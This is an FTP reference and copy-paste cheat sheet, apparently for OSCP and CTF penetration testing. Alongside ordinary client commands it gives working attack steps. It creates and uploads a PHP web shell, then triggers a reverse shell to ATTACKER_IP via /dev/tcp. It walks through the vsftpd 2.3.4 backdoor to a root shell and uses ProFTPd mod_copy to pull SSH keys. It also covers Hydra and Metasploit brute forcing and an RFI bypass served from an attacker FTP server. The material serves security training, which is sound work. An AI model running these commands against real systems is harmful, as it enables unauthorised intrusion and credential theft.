FTP — Complete Reference
What is FTP?
File Transfer Protocol (FTP) is a standard network protocol for transferring files between a client and server over TCP. It runs on port 21/TCP (control) and a data port (20/TCP active, or dynamic in passive mode).
OSCP use: FTP is frequently found open on targets. Always test anonymous login, check for writable directories to upload shells, and search for credentials and interesting files.
Ports
| Port | Description |
|---|---|
21/TCP | Control channel — commands |
20/TCP | Data channel (active mode) |
| Dynamic | Data channel (passive mode — server picks a random high port) |
Active vs Passive Mode
| Mode | How it works | When to use |
|---|---|---|
| Active | Server connects back to the client on port 20 | Can fail if client has a firewall |
| Passive | Client connects to a random high port on the server | Use this in CTFs/pentests — works through NAT and firewalls |
# Switch to passive mode inside the ftp shell
ftp> passive
# or start with passive mode always on:
ftp -p TARGET📌 1) Connecting
# Standard connect
ftp TARGET
ftp 10.10.10.10
# Specify port
ftp -p 10.10.10.10 2121
ftp TARGET 2121
# Connect with passive mode forced from the start
ftp -p 10.10.10.10
# Non-interactive (no prompts for mget/mput)
ftp -n 10.10.10.10📌 2) Anonymous Login
Always the first thing to try — many misconfigurations allow it:
ftp 10.10.10.10
# When prompted:
Name: anonymous
Password: # Press Enter (blank), or try: anonymous@anonymous.com
# Alternative usernames to try
anonymous
ftp
guest
anon# Non-interactive anonymous login
ftp -inv 10.10.10.10 << 'EOF'
user anonymous anonymous
ls
bye
EOFIf anonymous login succeeds: list all directories, look for readable files, check for writable directories to upload a shell.
📌 3) All Interactive Commands
Once connected you get the ftp> prompt. Commands are split into local (affect your machine) and remote (affect the server).
Navigation
| Command | Description |
|---|---|
ls | List files in current remote directory |
ls -la | Long listing including hidden files |
dir | Alias for ls (more verbose output) |
dir -R | Recursive listing |
pwd | Print current remote directory |
cd <dir> | Change remote directory |
cd .. | Go up one directory |
cdup | Alias for cd .. |
lcd <dir> | Change local directory |
lpwd | Print current local directory |
!ls | List local directory |
!pwd | Print local working directory |
File Transfer — Download
| Command | Description |
|---|---|
get <file> | Download a single file |
get <file> <localname> | Download and save with a different name |
mget <pattern> | Download multiple files (mget *.txt) |
mget * | Download everything in the current directory |
recv <file> | Alias for get |
File Transfer — Upload
| Command | Description |
|---|---|
put <file> | Upload a single file |
put <localfile> <remotename> | Upload and rename on server |
mput <pattern> | Upload multiple files (mput *.php) |
send <file> | Alias for put |
append <file> | Append local file to a remote file |
Transfer Settings
| Command | Description |
|---|---|
binary | Switch to binary transfer mode (always use for non-text files) |
ascii | Switch to ASCII transfer mode (text files only) |
type | Show current transfer mode |
passive | Toggle passive mode on/off |
prompt | Toggle confirmation prompts for mget/mput (turn off for bulk transfers) |
Always run
binarybefore transferring executables, images, or zip files. ASCII mode corrupts binary files.
Directory Operations
| Command | Description |
|---|---|
mkdir <dir> | Create a directory on the server |
rmdir <dir> | Remove a directory |
rename <old> <new> | Rename a remote file or directory |
delete <file> | Delete a remote file |
mdelete <pattern> | Delete multiple files |
Connection & Session
| Command | Description |
|---|---|
open <host> | Connect to a new host (without quitting) |
close | Close current connection (stay in ftp shell) |
disconnect | Alias for close |
bye / quit / exit | Disconnect and exit the ftp shell |
user <name> | Re-authenticate as a different user |
status | Show connection and transfer settings |
system | Show remote server OS type |
site <cmd> | Send a site-specific command to the server |
Misc
| Command | Description |
|---|---|
help / ? | Show all available commands |
help <cmd> | Show help for a specific command |
verbose | Toggle verbose output on/off |
hash | Toggle hash mark (#) progress display |
tick | Toggle tick-mark progress display |
bell | Toggle bell sound on transfer complete |
glob | Toggle filename globbing (wildcards) |
case | Toggle case sensitivity for mget |
runique | Toggle unique naming for downloaded files |
sunique | Toggle unique naming for uploaded files |
!<cmd> | Run a local shell command without leaving ftp |
macdef <name> | Define a macro |
📌 4) Passive Mode In Depth
Passive mode is almost always needed in CTF and pentest scenarios because:
- You’re behind NAT and the server can’t connect back to you
- Firewalls block inbound connections on random high ports
# Toggle passive mode after connecting
ftp> passive
Passive mode on.
# Toggle it back off
ftp> passive
Passive mode off.
# Connect with passive mode enabled from the start
ftp -p 10.10.10.10
# Using lftp (alternative client — passive by default)
lftp -p 21 -u anonymous, 10.10.10.10When passive mode still fails
# Use curl instead — passive by default
curl ftp://10.10.10.10/ --user anonymous:
curl ftp://10.10.10.10/ -u anonymous:anonymous
# Or use lftp (handles passive/active switching automatically)
lftp 10.10.10.10📌 5) Bulk / Non-Interactive Workflows
Download all files from a share
ftp> prompt off # Disable confirmation for mget
ftp> binary # Use binary mode
ftp> mget * # Download everythingRecursive download (ftp doesn’t support natively — use wget or lftp)
# wget recursive FTP download
wget -r ftp://anonymous:anonymous@10.10.10.10/
# lftp recursive download
lftp -u anonymous, 10.10.10.10
lftp> mirror /remote/dir /local/dir
# curl to list directory
curl -s ftp://10.10.10.10/ -u anonymous:
curl -s ftp://10.10.10.10/subdir/ -u anonymous:Automate login with .netrc
# Create ~/.netrc
echo "machine 10.10.10.10 login anonymous password anonymous" > ~/.netrc
chmod 600 ~/.netrc
# Now connect without being prompted for creds
ftp 10.10.10.10Script a full session
ftp -inv 10.10.10.10 << 'EOF'
user admin password
binary
cd /uploads
put shell.php
bye
EOF📌 6) Uploading a Web Shell (If FTP Root = Web Root)
If FTP is serving files from the same directory as a web server:
# 1. Create a PHP web shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# 2. Connect and upload
ftp 10.10.10.10
ftp> user anonymous
ftp> binary
ftp> put shell.php
ftp> bye
# 3. Trigger via browser or curl
curl http://10.10.10.10/shell.php?cmd=id
curl http://10.10.10.10/shell.php?cmd=whoami
curl "http://10.10.10.10/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'"📌 7) Enumeration Checklist
# Nmap FTP scripts
nmap -p 21 -sV --script ftp-anon,ftp-banner,ftp-syst,ftp-vsftpd-backdoor 10.10.10.10
nmap -p 21 --script ftp-brute --script-args brute.firstonly=true 10.10.10.10
# Quick anonymous check
nmap -p 21 --script ftp-anon 10.10.10.10What to look for after logging in
ftp> ls -la # Hidden files (start with .)
ftp> dir -R # Everything recursively
ftp> pwd # Where are we? (may reveal web root path)
# Files of interest
- *.php, *.asp, *.aspx → may indicate web root → upload shell
- *.txt, *.md, notes → credentials, instructions
- *.conf, *.config → credentials, paths
- *.zip, *.tar, *.gz → archives (download and inspect)
- .htpasswd, .htaccess → web credentials
- id_rsa, *.pem, *.key → SSH keys
- backup*, *.bak, *.old → old files with sensitive info📌 8) vsftpd 2.3.4 Backdoor
A famous OSCP/CTF target — vsftpd version 2.3.4 has a backdoor triggered by a smiley face in the username:
# Check version
nmap -p 21 -sV 10.10.10.10
# If version is vsftpd 2.3.4:
# Metasploit
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.10.10.10
run
# Opens a shell on port 6200
# Manual trigger
# Step 1: Log in with :) in the username
ftp 10.10.10.10
Name: user:)
Password: anypassword
# Connection may hang — that's expected
# Step 2: In a second terminal, connect to port 6200
nc -nv 10.10.10.10 6200
# Should give a root shell📌 9) ProFTPd 1.3.5 — mod_copy RCE
ProFTPd with mod_copy enabled allows copying files on the server without authentication:
# Check version
nmap -p 21 -sV 10.10.10.10
# Connect anonymously
ftp 10.10.10.10
# Use SITE CPFR/CPTO to copy files
# Copy a PHP shell from anywhere readable to the web root
ftp> site cpfr /proc/self/cmdline
ftp> site cpto /var/www/html/test.php
# Or copy an SSH key
ftp> site cpfr /home/user/.ssh/id_rsa
ftp> site cpto /var/www/html/id_rsa
# Then download via HTTP
curl http://10.10.10.10/id_rsa
# Metasploit
use exploit/unix/ftp/proftpd_modcopy_exec📌 10) Brute Forcing FTP
Try weak creds first — after username enum, spray null / same / reverse before rockyou:
# Step 1 — -L user list, -e nsr (no -P)
hydra -L users.txt -e nsr 192.168.15.151 ftp -t 6 -f -V
# Step 2 — add rockyou if needed
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 192.168.15.151 ftp -t 6 -f -e nsr
# Single user
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.15.151 ftp -t 6 -f -e nsrMetasploit
use auxiliary/scanner/ftp/ftp_login set RHOSTS 10.10.10.10 set USER_FILE users.txt set PASS_FILE passwords.txt run
---
## 📌 Quick OSCP Cheat Sheet (Copy/Paste)
```bash
# Connect
ftp 10.10.10.10
# Anonymous login
Name: anonymous
Password: (blank — just press Enter)
# Essential first commands after login
ftp> passive # Enable passive mode
ftp> ls -la # List all including hidden
ftp> binary # Switch to binary mode before transfers
ftp> prompt off # Disable mget/mput confirmations
# Download everything
ftp> mget *
# Download single file
ftp> get filename.txt
# Upload a file
ftp> put shell.php
# Exit
ftp> bye
# Nmap quick check
nmap -p 21 -sV --script ftp-anon,ftp-banner 10.10.10.10
# Curl anonymous (passive default)
curl ftp://10.10.10.10/ -u anonymous:
curl ftp://10.10.10.10/file.txt -u anonymous: -o file.txt
# wget recursive download
wget -r ftp://anonymous:@10.10.10.10/
📌 pyftpdlib — attacker FTP server (RFI bypass)
When PHP RFI filters block http:// / https:// but allow_url_include=On, serve payloads over FTP:
pip install pyftpdlib
python -m pyftpdlib -p 21
# shell.php in cwd — anonymous auth by default?page=ftp://ATTACKER_IP/shell.php&cmd=id→ Remote File Inclusion (RFI) > FTP wrapper bypass (http:// / https:// blacklisted)